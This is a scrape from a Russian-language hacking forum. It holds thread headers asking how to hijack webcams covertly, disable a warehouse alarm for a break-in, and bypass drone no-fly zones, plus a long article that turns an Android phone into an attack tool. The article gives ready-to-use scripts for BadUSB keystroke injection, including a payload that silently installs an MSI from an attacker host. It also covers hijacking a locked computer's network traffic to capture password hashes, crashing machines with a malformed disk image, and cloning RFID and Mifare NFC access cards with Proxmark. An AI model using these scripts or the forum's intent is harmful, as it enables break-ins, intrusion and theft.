Поэтому делаем усилитель с водяным охлаждением.

Фрезеруем корпуса и теплообменник. На один теплообменник будет "нагружен" бутерброд из 2х усилителей.
mill.png

Для того чтобы стянуть получающийся "пакет" шпильками - сверлим отверстия.
drill.png
В итоге мы получаем 2 ведра стружки, коробочку-корпус для платы усилителя, теплообменник, крышку.
ready.png

Собранная конструкция (верхняя крышка снята для фотографии):
asm2.png
на фото видно 2шт 100вт усилителей (на 1800 и 900 мгц соответственно), теплообменник водяного охлаждения
посередине, антенные SMA разъемы - входного каскада и выходного (напрямую с циркулятора).
assembly.png

Штуцера системы охлаждения очень органично смотрятся рядом с SMA разъемами )
В редиректоре таких сборок 4. т.е. 8 усилителей.

взлом веб-камер ноутбука, не включая светодиод
ID: 676535aeb4103b69df373586
Thread ID: 90025
Created: 2023-06-08T18:15:50+0000
Last Post: 2024-02-20T21:54:27+0000
Author: user191
Replies: 5 Views: 1K

такое возможно, где можно получить более подробную информацию, спасибо.

GOIP безопасность мероприятия
ID: 676535aeb4103b69df373590
Thread ID: 106140
Created: 2024-01-18T18:37:08+0000
Last Post: 2024-01-19T22:53:03+0000
Author: albanec2023
Replies: 21 Views: 1K

Привет всем!
Есть человек в Европе, который хотел бы заняться телефонией для офисов сами знаете откуда =)

Не знаю насколько силен Европол Интерпол и т.п. конторы, но уверен там тоже есть умные ребята =)

Насколько сложно поднять такой сервис, что для этого требуется и какие он несет расходы?

Есть люди в поле которые готовы рисковать и есть люди кто готов щедро это оплатить.

Поэтому если у вас есть ценное мнение / совет, в случае успешной реализации не забудем поблагодарить монетой.

Знаю что во всем этом наверняка хорошо шарят gliderexpert и еще тут видел ребят, поэтому тегнул тебя, извини пожалуйста =)

track an android phone using imei
ID: 676535aeb4103b69df373599
Thread ID: 92767
Created: 2023-07-12T15:53:37+0000
Last Post: 2023-12-14T06:06:23+0000
Author: DX9K
Prefix: GSM
Replies: 2 Views: 1K

can you please assist how do i track an android phone using its imei number

Как летать Дроном в запрещённых местах
ID: 676535aeb4103b69df3735a4
Thread ID: 95096
Created: 2023-08-08T00:47:15+0000
Last Post: 2023-11-13T10:18:06+0000
Author: serenity
Replies: 15 Views: 1K

Здравствуйте, интересует такой вопрос когда ты летаешь на дроне и подлетаешь к какой либо закрытой территории она показывается красным и дрон отказывается туда лететь.
Можно ли как-то это обойти?
Например подсунуть джипиэс ложные координаты или запарился с реверсингом по или может что-то ещё?

какой арсенал в наличии у фсб?
ID: 676535aeb4103b69df3735a7
Thread ID: 101661
Created: 2023-11-05T13:23:29+0000
Last Post: 2023-11-09T17:18:58+0000
Author: w0nd3r
Replies: 20 Views: 1K

Суть вопроса:
Каким софтом погоны проходятся по айфонам и андроидам, и что с ним в принципе делают?
Это не с целью "разведки" , а с целью узнать методы борьбы и восстановления
Возможно ли, что там украли сессии с телеги, ещё откуда-то, что проверить?

Предистория:
Хороший друг в связи с известными событиями, покинул братскую страну, жил и работал в еу тихо и спокойно, никого не трогал.
По семейным обстоятельствам пришлось летать в аэропорт "Шереметьево", ибо только там есть заезд в страну, куда его позвала семья, для его гражданства(Да, наземные въезды закрыты)
В аэропорту его ждал сюрприз. Полтора суток ожидания в закрытом помещении, где у всех его сограждан забирали телефоны и на протяжении ~12 часов с ними что-то делали
Как итог- андроид выжил и вроде нормально себя чухает
А вот айфону очень плохо, лагает как будто он стал майнером, и постоянно просит ввести какие-то "коды".
Что за коды- в глаза не видел, доедет уже, погляжу, даже самому интересно.

Ну и как метод борьбы я так понимаю- скинуть всё до заводских, в месседжеры перезайти?

//Тема не для политсрача, именно для этого я не указываю географию. Не стоит рассказывать кому где жить и с кем дружить, интересуют технические моменты

Блог по владению Flipper Zero
ID: 676535aeb4103b69df3735a8
Thread ID: 101465
Created: 2023-11-01T17:06:58+0000
Last Post: 2023-11-09T09:24:50+0000
Author: Мистери
Replies: 15 Views: 1K

Всех приветствую! Очередная неделя в поиске своих талантов. Решил начать расписывать свой блог о владении именитым устройством под названием Flipper Zero.
И так - вчера приехал мне дивный заморский аппарат. Брал я его с рук, поэтому человечек позаботился об о мне и собрал добротный комплект в виде Флиппера, каких-то микросхем и чехольчика под флиппер.
Первое ощущение после вскрытия посылочки было 1) Удивление, 2) Восклицание, 3) Непонимание, 4) Радость.
В момент открытия посылки в голове пробежала мысль, а может оно того не стоит? Эта мысль исчезла у меня после первого же включения данного ящерского аппарата. На логотипе меня встретил забавный дельфинчик на желтом экране флиппера и помахал мне своим плавником. В тот же вечер я разобрался (нет) с основным функционалом Флиппера и прошивкой Анлишед, установленной на нём. Для себя открыл ИК порт, нубук, блюпуп и фрешка, НФС модуль и кучу других непонятных моему юному уму вещей. Я в целом достаточно быстро принаровился и уже через 5-10 минут у меня на флиппере был Дум, записи всех троек, запись магнитного ключа от падика, ик сигнал от телевизора и какие-то непонятные скрипты бед юсб.
Сегодня в унике проводил эксперименты блютуз спамом на андройды и айосы. В целом довольно забавно выглядит, когда в аудитории запускаешь спам и сразу начинаешь сталкиваться с лицами непонимающих коллег, ведь им на телефоны высылается много всякого хлама по типу уведомления о подключении наушников, приставок и тд. Штука не больше чем пофаниться. На выходных думаю с батей поедем на дачу проверять, как эта штука умеет глушить сигналку и умеет ли вообще. В будущем топик хочу попробовать развивать (не как у меня получилось с юзернеймами) и может быть, даже покажу вам действительно что-то стоящее про эту оверпрайснуюстанковую ардуино.

Нужна помощь во взломе сигнализации
ID: 676535aeb4103b69df3735a9
Thread ID: 98091
Created: 2023-09-14T21:33:11+0000
Last Post: 2023-11-09T02:48:25+0000
Author: 7Maximys7
Replies: 5 Views: 1K

Приветствую ,подскажите пожалуйста люди добрые ,чтоб отключить ,заглушить ,или еще что надо сделать чтоб мне зайти на охраняемый склад на 20 минут и при этом не сработала сигнализация ,в еу хорошие склады а вот как отключить сигу и чтоб не узнали об этом охрана и копы ,тут у нас проблема ,если возможно подскажите что надо сделать

Можно ли взломать какой-нибудь экран в тц?
ID: 676535aeb4103b69df3735aa
Thread ID: 99369
Created: 2023-10-04T09:50:17+0000
Last Post: 2023-11-06T16:28:38+0000
Author: rust
Replies: 8 Views: 1K

Приветствую, интересует вопрос такой, можно ли взломать рекламный банер дистанционно не внедряю локальный чип, без никаких дополнительных штучек, по wifi к примеру. Но я думаю, что нет, в каких случаях нужно подключать своё устройство к сети жертвы? Когда передача идёт не по wifi?

Если можно по вайфай, то как вообще узнать, как на рекламных банерах передаются файлы?

было видео как пацан на дорожных экранах, там где показывают ограниченную скорость, он туда отправляют своё значение, например все едут 20 км/ч, но это же без внедрения чипа невозможно будет, нет?

Трансмиттер на нестандартную частоту.
ID: 676535aeb4103b69df3735b0
Thread ID: 99401
Created: 2023-10-04T17:09:43+0000
Last Post: 2023-10-12T23:24:05+0000
Author: n0kkster
Replies: 21 Views: 1K

Доброго времени суток, господа обитатели форума. Давеча появилась необходимость собрать трансмиттер для радиоуправления, способный работать с разными нестандартными для RC частотами (например 3.9GHz, 700MHz и прочими). К сожалению, в теме особо не разбираюсь, подскажите, знающие, что читать, чтобы понимать устройство трансмиттера и собрать его самостоятельно. И есть ли какие-либо (полу)готовые решения, способные работать с нестандартными частотами именно в плане радиоуправления?

Продвинутый киберфон. Заряжаем телефон хакерской силой
ID: 676535aeb4103b69df3735d2
Thread ID: 90626
Created: 2023-06-15T22:27:51+0000
Last Post: 2023-06-19T02:34:58+0000
Author: baykal
Prefix: Статья
Replies: 4 Views: 1K

Обычный мобильный телефон на Android может стать грозным оружием в руках хакера — как сам по себе, так и с использованием нескольких дополнительных устройств. Но одного железа для полного успеха недостаточно: чтобы вдохнуть в хакерский смартфон жизнь, необходимо озаботиться софтом. О нем мы сегодня и поговорим.

Эта статья — продолжение материала «Киберфон. Превращаем телефон на Android в инструмент хакера». Она завершает цикл публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак.

В статье «Киберфон. Превращаем телефон на Android в инструмент хакера» был показан простой и универсальный способ создания GNU-окружения — базы для хакерского инструментария. Мы рассмотрели принцип сборки драйверов прямо на устройстве, а также организовали взаимодействие Android с GNU. Затем я продемонстрировал часть хакерских возможностей современного смартфона. Это были самые опасные и распространенные векторы нападения с использованием радиоканала. Давай взглянем, на что способен телефон при непосредственном физическом доступе к атакуемому устройству.

BADUSB​

Современные Android-устройства имеют из коробки богатую поддержку эмуляции USB. Например, при подключении к компьютеру телефон обычно спрашивает, как он может быть определен — как сетевое устройство, съемный диск или иначе. Все это эмуляция через так называемые USB-гаджеты. Ты можешь самостоятельно изучить, какие гаджеты уже реализованы в твоем текущем ядре, с помощью мобильного приложения USB Gadget Tool (net.tjado.usbgadget). Среди них наверняка есть поддержка гаджетов для всех возможных BadUSB-атак.

BadUSB-hid​

С телефона можно без труда имитировать клавиатуру и выполнить произвольные команды с помощью автоматического ввода — эта атака была описана в статье «Очень плохая флешка. Разбираем атаку BadUSB в деталях». Нам потребуется USB- функция hid.keyboard, а следующими незамысловатыми командами атакующий может включить в телефоне спрятанные возможности эмуляции клавиатуры:

badusb/hid/start.sh​

Bash:Copy to clipboard

#!/bin/bash
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cat <<EE | sudo bash
cd /sys/kernel/config/usb_gadget/g1/
mkdir -p functions/hid.keyboard
cd functions/hid.keyboard/
echo 1 > protocol
echo 1 > subclass
echo 8 > report_length
echo -ne '\\x05\\x01\\x09\\x06\\xa1\\x01\\x05\\x07\\x19\\xe0\\x29\\xe7\\x15\\x00\\x25\\x01\\x75\\x01\\x95\\x08\\x81\\x02\\x95\\x01\\x75\\x08\\x81\\x03\\x95\\x05\\x75\\x01\\x05\\x08\\x19\\x01\\x29\\x05\\x91\\x02\\x95\\x01\\x75\\x03\\x91\\x03\\x95\\x06\\x75\\x08\\x15\\x00\\x25\\x65\\x05\\x07\\x19\\x00\\x29\\x65\\x81\\x00\\xc0' > report_desc
cd -
ln -s functions/hid.keyboard configs/b.1/hid.keyboard
echo "" > UDC
echo `ls -1 /sys/class/udc/ | head -1` > UDC
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"
while sleep 1; do chmod 666 /dev/hidg0 2> /dev/null && break; done
EE

В результате телефон может стать USB-клавиатурой. Активирует нажатия клавиатуры такой скрипт:

badusb/hid/keystrokes.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -eq 1 ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.txt')
python2 ./ducky/duckhunter.py -l us "$ducky" /tmp/rubber_ducky.sh
cat /tmp/rubber_ducky.sh
PATH="$PATH:." bash /tmp/rubber_ducky.sh
rm /tmp/rubber_ducky.sh

В случае с телефоном атака BadUSB-hid может выглядеть даже менее подозрительно, чем с флешкой. Ведь если флешку вставит в комп далеко не каждый, то зарядить телефон можно почти у кого угодно.

Телефон на зарядке нажимает клавиши, запускающие команду скачивания и запуска бэкдора
Это отличный социальный вектор атаки. Забавно, но вопреки общему мнению получается, что телефоном взломать комп куда проще, чем компьютером взломать телефон.

Для незаметности злоумышленник может активировать атаку не сразу в момент подключения, а спустя какое‑то время:

Bash:Copy to clipboard

sleep 60; badusb/hid/start.sh; badusb/hid/keystrokes.sh

У современного телефона множество датчиков, и триггером к атаке может стать что угодно — освещение, вибрация, движение телефона или даже голосовая команда:

Code:Copy to clipboard

while [ ~/android/listen.sh != "run" ]; do false; done; badusb/hid/keystrokes.sh ducky.txt

android/listen.sh​

Bash:Copy to clipboard

#!/bin/bash
ssh -i ~/id_rsa-local -p 8022 localhost "termux-speech-to-text"

Синтаксис ducky-скриптов полностью идентичен описанному в статье про BadUSB- флешку и про ее беспроводной аналог — Mousejack. Самое опасное, что может быть набрано на клавиатуре, — это, например, такой код:

badusb/hid/ducky.txt​

Code:Copy to clipboard

GUI r
DELAY 500
STRING msiexec /i https://en.badusb.attacker.tk/1.msi /quiet
DELAY 300
ENTER
SHIFT ALT
DELAY 300
SHIFT CTRL
DELAY 300
GUI r
DELAY 500
STRING msiexec /i https://ru.badusb.attacker.tk/1.msi /quiet
DELAY 300
ENTER

Телефон злоумышленника покорно заряжается от компьютера жертвы, но, как только он услышит команду run, срабатывает атака, и компьютер оказывается скомпрометированным за секунду. Злоумышленник может даже удаленно инициировать атаку, подключившись к телефону по VPN, используя 4G и запустив сценарий keystrokes.sh на телефоне.

Так как имитируется клавиатура, то через /dev/hidg0 можно выполнять обычный интерактивный набор текста прямо на виртуальной клавиатуре телефона:

badusb/hid/keyboard.sh​

Bash:Copy to clipboard

#!/bin/bash
while read -n 1 byte
do
 python2 ducky/keyseed.py "$byte" | ./hid-keyboard /dev/hidg0 keyboard 2> /dev/null
 echo "$byte" | xxd | grep -q '1b' && break
done

А через /dev/hidg1 можно управлять и мышкой:

badusb/hid/mouse.py​

Python:Copy to clipboard

#!/usr/bin/python3
import curses
from os import system
def main(stdscr):
  curses.curs_set(0)
  curses.mousemask(1)
  while True:
    key = stdscr.getch()
    if key == curses.KEY_MOUSE:
      try:
        _, x, y, _, _ = curses.getmouse()
        system("echo {x} {y} | ./hid-keyboard /dev/hidg1 mouse".format(x=x, y=y))
        stdscr.addstr(0, 0, "{x} {y}    ".format(x=x, y=y)); stdscr.refresh()
      except:
        pass
    elif key == ord("l"):
      system("echo --b1 | ./hid-keyboard /dev/hidg1 mouse")
      stdscr.addstr(0, 0, "left click "); stdscr.refresh()
    elif key == ord("r"):
      system("echo --b2 | ./hid-keyboard /dev/hidg1 mouse")
      stdscr.addstr(0, 0, "right click"); stdscr.refresh()
    elif key == 0x1b:
      break
curses.wrapper(main)

Нажатия по консоли в псевдографическом режиме используются, чтобы передать движения курсора на компьютер.

BadUSB-ETH​

Атаку BadUSB-ETH, позволяющую перехватить сетевой трафик (смотри статью «Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH»), тоже можно провести с телефона. Для этого его нужно слегка настроить:

badusb/eth/start.sh​

Bash:Copy to clipboard

#!/bin/bash
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cd /sys/kernel/config/usb_gadget/g1
echo 0xff88|sudo tee idProduct
echo 0x2717|sudo tee idVendor
echo 549839c4 | sudo tee strings/0x409/serialnumber
echo rndis_adb | sudo tee configs/b.1/strings/0x409/configuration
sudo ln -s functions/gsi.rndis configs/b.1/f2
echo "" | sudo tee UDC
echo `ls -1 /sys/class/udc/ | head -1` | sudo tee UDC
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"
cd -
sleep 1
sudo ifconfig rndis0 up
sudo dnsmasq --conf-file=dnsmasq-attack.conf -p0
sudo tcpdump -i rndis0 -nn -c 1 # waiting a connection
sleep 1
read iface table <<< $(ip r show table all|grep default|grep -v dummy|cut -d ' ' -f 5,7)
echo "forward to $iface ($table)"
sudo ifconfig rndis0 up
sudo ip a add 192.168.42.1/24 broadcast 192.168.42.255 dev rndis0
sudo ip r add 192.168.42.0/24 dev rndis0 table 97
sudo ip rule add to 192.168.42.0/24 lookup 97
#sudo ip rule add from all iif lo oif rndis0 lookup 97
sudo ip rule add from all iif rndis0 lookup $table
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o $iface -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP
sudo tcpdump -i rndis0 -nn

В первом блоке скрипта активируется эмуляция сетевой карты по USB. Она, кстати, может уже присутствовать по умолчанию или быть доступна через обычные настройки телефона: «Настройки → Для разработчиков → Конфигурация USB по умолчанию: USB-модем».

Во втором блоке скрипта запускается кастомный DHCP-сервер, который перекрывает сетевые маршруты жертвы и направляет весь ее трафик в телефон атакующего.

Так как при подключении телефона ОС Android не в состоянии запустить свой DHCP-сервер, настройка интерфейса может прерваться. Поэтому нужно доконфигурировать его самостоятельно, и именно это делается в третьем блоке скрипта.

Скрипт должен быть запущен перед подключением телефона к заблокированному компьютеру, чтобы интерфейс rndis0 на телефоне правильно сконфигурировался. Если все сделано верно, то комп, к которому подключен телефон, также автоматически сконфигурирует уже свой сетевой интерфейс. Далее атакуемый компьютер отправляет весь свой трафик в телефон, в том числе и Wi-Fi, и Ethernet (если они есть). Ведь маршруты действующих сетевых интерфейсов оказались перекрыты USB-сетью.

Далее запускаются уже непосредственно все атаки:

badusb/eth/attack.sh​

Bash:Copy to clipboard

#!/bin/bash
GREEN=$'\x1b[32m'
RESET=$'\x1b[39m'
#~/gui.sh
for script in $(find on_network/ -type f -perm -u+x)
do
  exec sudo $script rndis0 poisontap &
done
while echo -n '.'
do
  if [ $(arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on rndis0/\1/p' | wc -l) -ne 0 ]
  then
    break
  fi
  sleep 1
done
arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on rndis0/\1/p' | while read ip
do
  echo $GREEN "client detected" $RESET
  for script in $(find on_client/ -type f -perm -u+x)
  do
    exec sudo $script $ip "" 192.168.42.1 &
  done
done

В первом цикле запускаются атаки on_network, универсальные для всех клиентов. Во втором ожидается появление IP-адреса клиента (целевого устройства), а в третьем — запуск на него всех on_client-атак: чекеры уязвимостей, брутфорсеры, сбор данных и так далее. В этом случае, благодаря дисплею телефона, атакующий видит больше информации о ходе процесса.

Телефон создает Ethernet-сеть с заблокированным ноутбуком, перекрывает другие сети и перехватывает хеш пароля
Таким способом вполне реально стянуть NetNTLM-хеш. Если его сбрутить (что тоже достижимо), то удастся обойти блокировку устройства. Если это доменный комп, то такой хеш можно направить на LDAP контроллера домена и, изменив определенные свойства учетки, также обойти аутентификацию. Возможно, атакующему повезет и удастся сразу выполнить произвольный код через какую‑нибудь уязвимость или подобранный пароль, а затем активировать бэкдор. И все это только с помощью телефона!

BadUSB-HDD​

Помимо устройств ввода (hid) и сетевых карт (eth), Android-телефон (вернее, ядро Linux) умеет эмулировать еще и носители данных — жесткие диски и CD- приводы.

BadUSB-HDD — это подвид BadUSB-атак, который заключается в возможности сымитировать загрузочное устройство при перезагрузке и выполнить там произвольный код. Однако возможность эмуляции диска может быть полезна и для других целей.

В качестве диска используется обычный файл‑образ. Его содержимое — это последовательность байтов. Все, что записано в файле, находится на диске. Следующий скрипт по выбору может имитировать такие заранее подготовленные диски:

badusb/hdd/start.sh​

Code:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && disk="$1" || read -p 'disk image (empty=0, vuln_ntfs=1, coldboot=2, kali=3): ' disk
[[ $# -ge 2 ]] && ro="$1"
case "$disk" in
 0) disk='empty.img'; ro=0 ;;
 1) disk='vuln_ntfs.img'; ro=1 ;;
 2) disk='coldboot.img'; ro=0 ;;
 3) disk='kali.img'; ro=0 ;;
esac
disk="$(pwd)/$disk"
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cat <<EE | sudo bash
cd /sys/kernel/config/usb_gadget/g1
echo "$ro" > functions/mass_storage.0/lun.0/ro
echo '1' > functions/mass_storage.0/lun.0/removable
echo "$disk" > functions/mass_storage.0/lun.0/file
EE
sleep 1
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config mass_storage,adb'"

Примечательно, что можно сымитировать и readonly-носители так, чтобы ОС или антивирус ничего не удалили. Останавливает эмуляцию диска следующий скрипт:

badusb/hdd/stop.sh​

Bash:Copy to clipboard

#!/bin/bash
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cat <<EE | sudo bash
cd /sys/kernel/config/usb_gadget/g1
echo '' > functions/mass_storage.0/lun.0/file
EE
sleep 1
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config none,adb'"

Каждый образ диска может использовать свой сценарий атаки, например:

На рисунке ниже показано, как подключенный к компьютеру по USB телефон эмулирует диск с поврежденной файловой системой, приводящей к BSOD.

Эмуляция жесткого диска по USB с поврежденной файловой системой
Аварийно перезагруженный таким образом компьютер может уйти на перезагрузку с незатертыми данными в RAM. Телефон же в этот момент может эмулировать по USB другой диск — coldboot.img — и выполнить атаку Cold Boot.

PROXMARK​

Технологии RFID (125 кГц) и NFC (13,56 МГц) применяются повсеместно для бесконтактной идентификации и преодоления турникетов на заводах, входных дверей кабинетов, подъездов и так далее.

RFID и NFC легко спутать. На вид они слабо отличимы. Есть пара лайфхаков, позволяющих быстро понять, какой тип бесконтактной технологии перед вами. Современные телефоны снабжены NFC и не используют RFID, поэтому если твой телефон среагировал на поднесенную метку, значит, это NFC. Другой способ — визуальный, с использованием фонарика.

Определяем тип бесконтактной карты обычным фонариком
Если просвечивается круглая антенна — это обычно RFID, прямоугольная — NFC. Но возможны и частные случаи. Эти две технологии можно встретить примерно с равной вероятностью. Автоматизированные системы контроля и управления доступом в бизнес‑центрах и на предприятиях чаще работают на RFID, в то время как в гостиницах и отелях — почти всегда на NFC. Также карты оплаты, включая и банковские, работают на основе технологии NFC, но они используют немного иной принцип, поэтому рассматривать их не будем.

Обе технологии применяют бесконтактный метод коммуникации ближнего поля, когда RFID/NFC-чип включается и работает благодаря электромагнитной энергии на малых расстояниях (порядка нескольких сантиметров).

Атаки на RFID и NFC чаще всего связаны с бесконтактным клонированием и последующим повторным использованием. Атаку можно проводить в сочетании с устройством Proxmark. Для его работы требуется собрать драйвер:

Code:Copy to clipboard

CONFIG_USB_ACM=m
make modules M=drivers/usb/class
sudo modprobe cdc-acm

Также нужно собрать соответствующий инструмент с аналогичным именем:

Code:Copy to clipboard

git clone https://github.com/Proxmark/proxmark3
cd proxmark3; make

RFID​

RFID — технология бесконтактной идентификации, по сути радиометка, чаще всего содержащая 5 байт. Эта технология никак не защищена от несанкционированного чтения и может быть без труда клонирована. RFID можно сравнить с QR-кодом, который легко сфотографировать и использовать повторно, с той лишь разницей, что здесь не оптический канал считывания, а радио-.

Для клонирования метки или, например, пропуска требуется прочитать и эмулировать данные:

rfid/clone.sh​

Bash:Copy to clipboard

#!/bin/bash

./read.sh | while read tag
do echo "$tag"
  ./emulate.sh "$tag"
done

Поскольку такую атаку злоумышленник может выполнять скрытно и не видеть экрана телефона, то с помощью Termux-API телефон вибросигналом даст понять атакующему, что успешно считал RFID:

rfid/read.sh​

Bash:Copy to clipboard

#!/bin/bash
while :
do
  tag=$(sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'lf search'|grep 'EM TAG ID'|awk '{print $5}')
  if [ x"$tag" != "x" ]; then
    echo $tag
    ~/android/vibrate.sh
  fi
  sleep 1
done

Чтение RFID- метки
Эмуляция считанной RFID-метки уже позволит обойти, скажем, систему контроля и управления доступом:

rfid/emulate.sh​

Bash:Copy to clipboard

#!/bin/bash

[[ $# -ge 1 ]] && tag="$1" || read -p 'tag: ' tag

{ echo "lf em 410xsim $tag"; read end; } | sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0

Повторное использование прочитанной RFID- метки
И, вполне ожидаемо, злоумышленник без проблем попадает в здание. Сотрудник вышел покурить, злоумышленник подошел, чтобы спросить время, и незаметно поднес телефон с Proxmark к его карману, где хранится пропуск. Далее злоумышленник может проникнуть в защищенное помещение. А что, если жертвой стал системный администратор? Тогда бонусом будет и доступ в серверные.

NFC​

NFC — это технология беспроводной передачи информации, имеющая защиту от несанкционированного чтения. Самый распространенный из ее вариантов — Mifare 1024 содержит 1024 байт информации, разделенной на 16 секторов по четыре блока, по 16 байт в каждом. И именно доступ к этим секторам защищается четырехбайтными ключами. Впрочем, в этой технологии найден ряд уязвимостей, позволяющих восстанавливать ключи. При этом часто восстановить ключи можно за несколько секунд.

Попытка полного клонирования карты при условии, что атакующий может восстановить ключи к секторам, состоит из попытки чтения и эмуляции:

nfc/clone.sh​

Bash:Copy to clipboard

#!/bin/bash

while :
do echo -n '.'
  uid=$(./read.sh 1 | head -n 1)
  if [ x"$uid" != "x" -a -f 'dumpkeys.bin' -a -f 'dumpdata.bin' ]; then
    ./emulate.sh "$uid"
    break
  fi
done

Следующий скрипт пытается прочитать данные с секторов карты со словарными ключами или применить атаку Nested к аппаратной уязвимости MFOC для восстановления ключей:

nfc/read.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && attempts="$1" || attempts=99
function brute(){
  KEYS='/opt/proxmark3/client/default_keys.dic'
  sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c "hf mf chk * ? d $KEYS" | grep '^|0' | while read sec keyA s keyB s
  do echo "$sec $keyA $keyB"
    if [ "x$keyA" = "x?" -a "x$keyB" = "x?" ]; then
      rm dumpkeys.bin
      return 1
    fi
  done
  return 0
}
function nested(){
  sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'hf mf chk * ?' | grep '^|0' | while read sec keyA s keyB s
  do echo "$sec $keyA $keyB"
    sec=$(printf %d $(echo "$sec"|cut -d '|' -f 2))
    key=''
    if [ "x$keyA" != "x?" ]; then
      key="$keyA"
      type="A"
    elif [ "x$keyB" != "x?" ]; then
      key="$keyB"
      type="B"
    fi
    if [ "x" != "x$key" ]; then
      echo "hf mf nested 1 $sec $type $key d"
      sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c "hf mf nested 1 $sec $type $key d"
      if [ -f dumpkeys.bin ]; then
        xxd dumpkeys.bin
        return 0
      else
        return 1
      fi
      break
    fi
  done
}
function dump(){
  sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'hf mf dump 1'
  if [ -f dumpdata.bin ]; then
    xxd dumpdata.bin
    return 0
  else
    return 1
  fi
}
shopt -s lastpipe
for ((i=0; i<"$attempts"; i++))
do
  uid=$(sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'hf search'|grep 'UID :'|awk '{print $3$4$5$6}')
  if [ x"$uid" != "x" ]; then
    echo "$uid"
    if brute; then
      if dump; then
        break
      fi
    elif nested; then
      if dump; then
        break
      fi
    fi
  fi
  sleep 1
done

На карте для доступа к секторам могут использоваться словарные ключи. Тогда скрипт автоматически может сдампить ее.

Если чтение со словарными ключами не удалось, скрипт пробует атаку Nested. Для успеха злоумышленнику нужен ключ хотя бы от одного сектора. По нему, анализируя генератор простых чисел, можно восстановить ключи ко всем оставшимся секторам. Если ключи восстановлены и все сектора прочитаны, то атакующий может эмулировать NFC жертвы:

nfc/emulate.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && uid="$1" || read -p 'uid: ' uid
if [ -f 'dumpkeys.bin' -a -f 'dumpdata.bin' ]; then
  xxd -ps -c 16 dumpdata.bin > dumpdata.eml
  { echo 'hf mf eload 1 dumpdata'; echo "hf mf sim u $uid"; read end; } | sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0
else
  { echo "hf mf sim u $uid"; read end; } | sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0
fi

Иногда для идентификации не используются данные секторов, а только четырехбайтный UID, который никак не защищен от чтения. В таком случае защищенность метки снижается до уровня RFID.

Какой импакт здесь имеет место? Как минимум — такой же, как в случае с RFID. Если карта NFC содержит дефолтные ключи либо подвержена популярной уязвимости MFOC, то примерно за десять секунд все данные с карты могут быть выгружены. На некоторых картах эта атака может занимать больше времени. Подобные NFC — это всем известные карточки оплаты в транспорте. Иными словами, импакт от незащищенности данных на NFC-носителях может нанести финансовый ущерб.

Proxmark — достаточно мощный инструмент, возможности которого отнюдь не ограничены описанными примерами атак. Это самое простое и быстрое, что может сделать хакер в контексте физического воздействия, проводимого в тандеме с телефоном. Более того, инструмент Proxmark3 имеет собственный набор скриптов для автоматизации определенных действий.

ETHERNET​

Если атакующий имеет дело с Ethernet, ему нужно сначала подключить внешнюю сетевую карту. Вообще, некоторые сетевые карты в форм‑факторе USB в магазинах иногда продаются с особой пометкой — «Для планшетов». Велика вероятность, что такую сетевую карту ядро подхватит автоматически. Тем не менее, если этого не произошло, всегда можно дособрать требуемый ядерный модуль, например так:

Code:Copy to clipboard

CONFIG_USB_RTL8152=m
make modules M=drivers/net/usb

Для автоматической загрузки необходимого драйвера и настройки адаптера перед подключением запускается следующий скрипт:

eth/start.sh​

Bash:Copy to clipboard

#!/bin/bash
sudo insmod /lib/modules/4.14.83-quax+/extra/r8152.ko
sudo /lib/systemd/systemd-udevd --debug &
count=$(lsusb|wc -l)
while sleep 1; do if [ $(lsusb|wc -l) -ne $count ]; then break; fi; done
sleep 2
sudo killall systemd-udevd
sudo ifconfig eth0 up
sudo ip a add 11.0.0.10/24 dev eth0
sleep 1
table=$(ip r show table all|grep eth0|head -n 1|cut -d ' ' -f 5)
echo "eth0 table: $table"
sudo ip r add 11.0.0.0/24 dev eth0 table $table
sudo ip rule add to 11.0.0.0/24 lookup $table
ifconfig eth0

Так как ОС Android использует маршрутизацию с применением правил, требуется немного больше команд, чем на обычном Linux. В конечном счете на телефоне появляется привычный eth0-интерфейс для работы с сетями по проводу.

Атака​

Если перед атакующим заблокированный комп, то альтернативой подключению к нему по USB (как в статье «Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH») может быть подключение напрямую патч‑кордом в Ethernet-порт, в надежде, что тот активен. Скорее всего, если рассматривать корпоративный сценарий атаки, перед атакующим будет стационарный компьютер или ноутбук, в который уже что‑то подключено по Ethernet. Значит, сеть на интерфейсе активна. После подключения атакующий также получит сетевой канал взаимодействия с устройством и сможет просканировать его на уязвимости, побрутить SMB/RDP/SSH, а также выполнить MITM-атаки, ведь атакующий может занять IP-адрес шлюза.

